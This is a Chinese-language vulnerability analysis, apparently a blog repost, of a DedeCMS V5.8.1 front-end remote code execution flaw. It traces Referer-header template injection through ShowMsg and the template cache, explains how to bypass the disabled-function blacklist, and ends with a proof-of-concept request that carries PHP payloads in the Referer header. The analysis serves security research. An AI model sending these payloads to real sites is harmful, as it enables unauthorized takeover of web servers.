楔子

晚上在Srcincite上面看到了国外发布的DedeCMS_V5.8.1前台任意未授权命令执行,一时兴起就下下来分析了一波,自己也比较菜,有些点可能都说的不是很明白,其实这洞蛮简单的,有点类似于以前那个dz的前台代码执行,在写入临时tpl缓存文件的时候,缓存内容中存在可控的函数且使用了include进行包含,导致我们可以写入任意代码,造成代码执行,话不多说直接进入正题,漏洞主要是由于include\common.func.php中定义的ShowMsg参数导致的,任何文件存在调用ShowMsg的情况下,都可以造成模板注入,下面以Plus/recommend.php为例展开分析:

Plus/recommend.php
先看到recommend.php,

贴出关键代码:

require_once dirname(__FILE__) . "/../include/common.inc.php";//全局常用函数require_once DEDEINC . '/common.func.php';
if (empty($aid)) {ShowMsg("文档ID不能为空!", "-1");exit();
}

include/common.func.php
接着进入到common.func.php

贴出关键代码:

if ($gourl == -1) {$gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';if ($gourl == "") {$gourl = -1;}}......function JumpUrl(){if(pgo==0){ location='$gourl'; pgo=1; }//$gourl的获取方式为$_SERVER['HTTP_REFERER']可控$msg = $htmlhead . $rmsg . $htmlfoot;$tpl = new DedeTemplate();$tpl->LoadString($msg);//dedetemplate.class.php$tpl->Display();

以上就是临时构造的模板内容,且$gourl可控,在Plus/recommend.php中给gourl定义默认为-1//ShowMsg("文档ID不能为空!", "-1");,所以$gourl的值为REFERER,接着看处理模板的地方。

include/dedetemplate.class.php
在dedetemplate.class.php中,跟进到LoadString函数

public function LoadString($str = ''){$this->sourceString = $str;$hashcode = md5($this->sourceString);$this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc";//生成的缓存文件名$this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc";$this->ParseTemplate();}

Display函数

public function Display(){global $gtmpfile;extract($GLOBALS, EXTR_SKIP);$this->WriteCache();include $this->cacheFile;}

我们前面gourl注入的恶意代码,通过调用WriteCache写入

public function WriteCache($ctype = 'all'){if (!file_exists($this->cacheFile) || $this->isCache == false|| (file_exists($this->templateFile) && (filemtime($this->templateFile) > filemtime($this->cacheFile)))) {if (!$this->isParse) {$this->ParseTemplate();}$fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");flock($fp, 3);$result = trim($this->GetResult());$errmsg = '';if (!$this->CheckDisabledFunctions($result, $errmsg)) {fclose($fp);@unlink($this->cacheFile);die($errmsg);}fwrite($fp, $result);fclose($fp);if (count($this->tpCfgs) > 0) {$fp = fopen($this->configFile, 'w') or dir("Write Config File Error! ");flock($fp, 3);fwrite($fp, '<' . '?php' . "\r\n");foreach ($this->tpCfgs as $k => $v) {$v = str_replace("\"", "\\\"", $v);$v = str_replace("\$", "\\\$", $v);fwrite($fp, "\$this->tpCfgs['$k']=\"$v\";\r\n");}fwrite($fp, '?' . '>');fclose($fp);}}

我们可以先看一下赋值Referer为coldwater,然后写入的模板内容。

现在我们将Referer替换为注入代码,当然我们如果直接写一些常见的危险函数是不行的,因为在dedetemplate.class.php中,存在CheckDisabledFunctions函数,CheckDisabledFunctions函数在WriteCache中被调用,会对内容进行一个检测。

public function CheckDisabledFunctions($str, &$errmsg = ''){global $cfg_disable_funs;$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';// 模板引擎增加disable_functionsif (!defined('DEDEDISFUN')) {$tokens = token_get_all_nl($str);$disabled_functions = explode(',', $cfg_disable_funs);foreach ($tokens as $token) {if (is_array($token)) {if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {$errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>';return false;}}}}return true;}

但是很明显,assert不在这个黑名单里面,且对get和post请求中的字符没有过,滤我们可以利用assert或者call_user_func执行任意代码.

除此之外,也并没有对""进行检测,在php中,""中的字符串可以被解析为函数,此外对反应号也没有检测,贴出实例。

POC:

GET /plus/recommend.php?b=dir  HTTP/1.1
Host: 127.0.0.1
Referer: <?php $b = `$a`;  echo "<pre>$b</pre>";/*
Referer: <?php "system" ($b); /*
Referer: <?php  assert  ($b); /*

首发 先知社区

DedeCMS_V5.8.1 ShowMsg 模板注入远程代码执行漏洞分析相关推荐

  1. Joomla远程代码执行漏洞分析小白版(小宇特详解)

    Joomla远程代码执行漏洞分析小白版(小宇特详解) 今天看了一下2021陇原战役WP,在看web方向的时候,看到pop链,想了解一下,后来又看到了p师傅在15年的一篇文章,在这里记录一下.这里主要是 ...

  2. wordpress 5.0.0 远程代码执行漏洞分析cve-2019-8943

    近日,wordpress发布一个安全升级补丁,修复了一个WordPress核心中的远程代码执行漏洞.代码修改细节可以参考wordpress团队于Dec 13, 2018提交的代码.据漏洞披露者文中所介 ...

  3. php excel中解析显示html代码_骑士cms从任意文件包含到远程代码执行漏洞分析

    前言 前些日子,骑士cms 官方公布了一个系统紧急风险漏洞升级通知:骑士cms 6.0.48存在一处任意文件包含漏洞,利用该漏洞对payload文件进行包含,即可造成远程代码执行漏洞.这篇文章将从漏洞 ...

  4. goahead处理json_GoAhead Web Server远程代码执行漏洞分析(附PoC)

    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 本文是关于GoAhead web server远程代码执行漏洞(CVE-2017- ...

  5. cve-2019-1821 思科 Cisco Prime 企业局域网管理器 远程代码执行 漏洞分析

    前言 不是所有目录遍历漏洞危害都相同,取决于遍历的用法以及用户交互程度.正如你将看到,本文的这个漏洞类在代码中非常难发现,但可以造成巨大的影响. 这个漏洞存在于思科Prime Infrastructu ...

  6. CVE-2012-1876Microsoft Internet Explorer Col元素远程代码执行漏洞分析

    Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器.         Microsoft Internet Explorer 6至9版本中存在漏 ...

  7. cve-2018-7600 drupal核心远程代码执行漏洞分析

    0x01 漏洞介绍 Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用.两周前,Drupal安全团队披露了一个非常关键的漏洞,编号CV ...

  8. rmi远程代码执行漏洞_Apache Solr反序列化远程代码执行漏洞分析(CVE20190192)

    更多全球网络安全资讯尽在邑安全 www.eansec.com ‍‍‍‍ 0x01 漏洞描述 Solr 是Apache软件基金会开源的搜索引擎框架,其中定义的ConfigAPI允许设置任意的jmx.se ...

  9. thinkphp v5.0.11漏洞_ThinkPHP 5.0.x-5.0.23、5.1.x、5.2.x 全版本远程代码执行漏洞分析

    阅读: 10,272 1月11日,ThinkPHP官方发布新版本5.0.24,在1月14日和15日又接连发布两个更新,这三次更新都修复了一个安全问题,该问题可能导致远程代码执行 ,这是ThinkPHP ...

最新文章

  1. jmeter内存溢出处理方式记录
  2. 设计模式 — 结构型模式 — 组合模式
  3. 音视频技术开发周刊 | 196
  4. Linux unshare命名的一些例子
  5. c# emnu 获取注释_C#教程推荐
  6. 使用ffmpeg将BMP图片编码为x264视频文件,将H264视频保存为BMP图片,yuv视频文件保存为图片的代码
  7. 中国教育与软件企业的共同误区
  8. Windows 64位下装Oracle 11g,PLSQL Developer的配置问题,数据库处显示为空白的解决方案...
  9. redis 是哪个厂家的_redis 基本数据类型-字符串(String)
  10. VS2019下安装NumCpp库小结
  11. nginx企业级优化实战
  12. WEB前端基础-HTML CSS总结.xmind思维导图
  13. 移动通信原理学习笔记之三——抗衰落和链路性能增强技术
  14. 注册微信公总号的方法与种类
  15. React从零开始搭建项目
  16. linux下微信/qq的aud、silk音频文件格式与mp3格式互转,获取音频时长的方法,附问题分析和java代码。
  17. ACL(用访问控制列表实现包过滤)
  18. ios HXPhotoPicker swift5 图片视频选择器 选取图片 照片
  19. html沙盘图插件,3D Map Generator(3D沙盘设计PS插件)V1.0 正式版
  20. MysqlWorkBench将已有数据库转换为mwb模型文件

热门文章

  1. logstash 同时支持多个管道_Logstash Multiple Pipelines
  2. 把一个文件中的内容,复制到另外一个文件中
  3. 火狐和IE都支持的复制剪切板功能
  4. 跟同事弃用webpack一次 体积减少了10倍
  5. 2022-2028全球与中国蛋白质多重分析技术市场现状及未来发展趋势
  6. yolov3目标识别在工业检测中的应用
  7. 《Energy Conversion and Management》期刊介绍(SCI 1区)
  8. Python—写个可转债分析器
  9. mac下载mysql
  10. c语言练习打字程序,C语言代码输入练习